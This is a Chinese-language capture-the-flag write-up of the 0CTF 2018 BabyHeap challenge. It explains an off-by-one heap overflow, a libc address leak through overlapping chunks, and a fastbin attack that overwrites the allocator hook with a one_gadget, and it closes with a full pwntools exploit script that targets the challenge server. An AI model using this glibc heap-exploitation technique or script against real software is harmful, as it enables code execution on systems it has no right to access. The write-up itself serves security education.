PWN类型之堆溢出|0CTF 2018 BabyHeap

0CTF 2018 Babyheap
前言

上周0CTF临危受命,就做出一道题, 感觉思路很新颖, 分享一下.
题目分析
1. checksec
Arch:amd64-64-little RELRO:Full RELRO Stack:Canary found NX:NX enabled PIE:PIE enabled

结论: 保护全开, 必是堆溢出之类的.
2. 结构体
struct node{ int inUse; int size; char* ptr; }

3. 菜单
===== Baby Heap in 2018 ===== 1. Allocate 2. Update 3. Delete 4. View 5. Exit Command:

4. Allocate(可以申请最大0x58字节的内存)
Command: 1 Size: 20 Chunk 0 Allocateed

5. Update(Off_By_One漏洞)
Command: 2 Index: 0 Size: 20 Content: AAAAAAAAAAAAAAAAAAAA Chunk 0 Updated

6. Delete
Command: 3 Index: 0 Chunk 0 Deleted

7. View
Command: 4 Index: 0 Chunk[0]: AAAAAAAAAAAAAAAAAAAA

8. Exit
Command: 5

3. 漏洞分析
Off_By_One:Off_By_One是指我们能够多写入一个字节, 这种漏洞往往和对边界的长度验证不严格和字符串操作有关.
小栗子:
#include #include #include int main(void){ char* buf1 = malloc(0x28); char* buf2 = malloc(0x40); read(0, buf1, 0x29); //0x29 - 0x28 = 1, 多写入一个字节 printf("buf1 is %s\n", buf1); return 0; }

编译
gcc -g example.c -o example
运行
./off_by_one(输入前) 0x602000:0x00000000000000000x0000000000000031 0x602010:0x00000000000000000x0000000000000000 0x602020:0x00000000000000000x0000000000000000 0x602030:0x00000000000000000x0000000000000051------- 0x602040:0x00000000000000000x0000000000000000| 0x602050:0x00000000000000000x0000000000000000| 0x602060:0x00000000000000000x0000000000000000| 0x602070:0x00000000000000000x0000000000000000| | (输入后)| 0x602000:0x00000000000000000x0000000000000031| 0x602010:0x41414141414141410x4141414141414141| 0x602020:0x41414141414141410x4141414141414141| 0x602030:0x41414141414141410x0000000000000041 <------- 0x602040:0x00000000000000000x0000000000000000 0x602050:0x00000000000000000x0000000000000000 0x602060:0x00000000000000000x0000000000000000 0x602070:0x00000000000000000x0000000000000000

结论: 可以修改chunk size大小.
4. 题目分析
漏洞点: Update功能可以允许我们多输入一个字节.
我们需要解决如下问题
  1. 如何libc地址 ?
  2. 如何获取shell?
第一个问题
知识点: 当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址.
答: Overlap
alloc(0x48) #0 alloc(0x48) #1 alloc(0x48) #2 update(0, 0x49, "A"*0x48 + "\xa1") #修改1的chunk size为0xa1 free(1) #实际上是将1和2一起释放了 alloc(0x48)# 申请1 view(2)# 2我们是可以查看的

相关内存
chunk0x55719bd460000x50(inuse) ------------ chunk0x55719bd460500x50 -----|(inuse) |alloc(0x48)| chunk0x55719bd460a00x50 -----|(inuse) |alloc(0x48)| chunk0x55719bd460f00x50|(inuse) |alloc(0x48)| |------------- chunk0x55719bd460000x50|(inuse) ------- chunk0x55719bd460500xa0<----(1和2)(inuse)|update| chunk0x55719bd460f00x50|(inuse) ---------------- ||free(1)| chunk0x55719bd460000x50|(inuse)∨-------∨ chunk0x55719bd460500xa0(1和2)---->(F) FD 0x7f46a1c7cb78 BK 0x7f46a1c7cb78 (LC)| chunk0x55719bd460f00x50|(inuse) | chunk0x55719bd460000x50|(inuse) ------------------------------------------ chunk0x55719bd460500x50|(inuse) |alloc(0x48), 輸入2可以將0x7f46a1c7cb78打印出來 chunk0x55719bd460a00x50(2)-----> (F) FD 0x7f46a1c7cb78 BK 0x7f46a1c7cb78 (LC) chunk0x55719bd460f00x50(inuse)

整体思路: 分配三个,0,1,2.通过Off_By_One可以将1chunk size改为0xa1, free(1)等于将1和2一起释放, 但标识着未释放.alloc(0x48)0x7f46a1c7cb78移到2中, 打印即可泄露地址.
第二个问题
fastbin attack, 在ralloc_hook写入execve(“/bin/sh”)来获取shell
通过上一个问题的回答, 我们有可能申请两个,这两个的content指向同一块内容.
alloc(0x48) # 4 = 2, content申请的地址是0x55719bd460a0, delete(1) delete(2) view(4)结果: ------------------------------------------------------- 0x55719bd460a0: 0x00000000000000000x0000000000000051 | 0x55719bd460b0: 0x000055719bd460500x0000000000000000 | 0x55719bd460c0: 0x00000000000000000x0000000000000000 |

结论: 由于fastbin是单链表链接的, 所以2的fd(下一个)指向了1, 我们可以任意修改这个地址, 来达到任意写的目的.
由于我们题目限制最大申请内存为88, 不能直接修改calloc__hook, 于是我们借助修改top chunk, 将top chunk 修改至calloc_hook附近, 然后再将execve("/bin/sh")地址填入calloc_hook.
修改:
update(4, 9, p64(addr)) --> 修改地址, addr 是据top chunk的不远处 alloc(0x48)--> 1 alloc(0x40)--> 2,返回目标地址 update(2, 0x2c, "\x00"*35 + p64(newtop)) --> 修改top chunk 为ralloc_hook 附近 alloc(56) update(5, 28, "W"*11 + p64(one)*2) --> 向ralloc_hook写入 alloc(0x28)--> 由于ralloc_hook处有指针, 执行指针指向的函数

完整EXP
from pwn import *context.log_level = 'debug' HOST='202.120.7.204' PORT=127Local = 1if Local: p = process("./babyheap") libc_offset = 0x3c4b78 #本机, ubuntu 16.04 one_offset = 0x4526a else: p=remote(HOST,PORT) libc_offset = 0x68+0x399af0 #远程 one_offset = 0x3f35a libc = ELF('./libc.so.6') #gdb.attach(p)def alloc(size): p.recvuntil("Command: ") p.sendline("1") p.recvuntil("Size: ") p.sendline(str(size))def update(index, size, content): p.recvuntil("Command: ") p.sendline("2") p.recvuntil("Index: ") p.sendline(str(index)) p.recvuntil("Size: ") p.sendline(str(size)) p.recvuntil("Content: ") p.sendline(content)def delete(index): p.recvuntil("Command: ") p.sendline("3") p.recvuntil("Index: ") p.sendline(str(index))def view(index): p.recvuntil("Command: ") p.sendline("4") p.recvuntil("Index: ") p.sendline(str(index))def leak(): alloc(0x48) #0 alloc(0x48) #1 alloc(0x48) #2 alloc(0x48) #3update(0, 0x49, "A"*0x48 + "\xa1") delete(1)#1 alloc(0x48) #1 view(2) p.recvuntil("Chunk[2]: ") leak = u64(p.recv(8)) libc_base = leak - libc_offset main_arena = leak - 0x58 log.info("libc_base: %s" % hex(libc_base)) log.info("main_arena: %s" % hex(main_arena))alloc(0x48) #4 = 2 delete(1) delete(2) view(4)p.recvuntil("Chunk[4]: ") heap = u64(p.recv(8)) - 0x50 log.info("heap: %s" % hex(heap)) return main_arena, libc_basedef exp(main_arena, libc_base): alloc(0x58) # 1 delete(1)# 1addr = main_arena + 37 newtop = main_arena - 0x33 one = libc_base + one_offset log.info("addr: %s" % hex(addr)) log.info("newtop: %s " % hex(newtop)) log.info("one: %s" % hex(one))update(4, 9, p64(addr)) alloc(0x48) alloc(0x40) update(2, 0x2c, "\x00"*35 + p64(newtop)) alloc(56) update(5, 28, "w"*11 + p64(one)*2) alloc(22)if __name__=='__main__':main_arena, libc_base = leak() exp(main_arena, libc_base) p.interactive()

多说一句
可能在尝试的过程中, EXP会出现失败的情况, 我建议多试几次
结果
PWN类型之堆溢出|0CTF 2018 BabyHeap
文章图片

参考链接
【PWN类型之堆溢出|0CTF 2018 BabyHeap】0CTF Babyheap 2018

    推荐阅读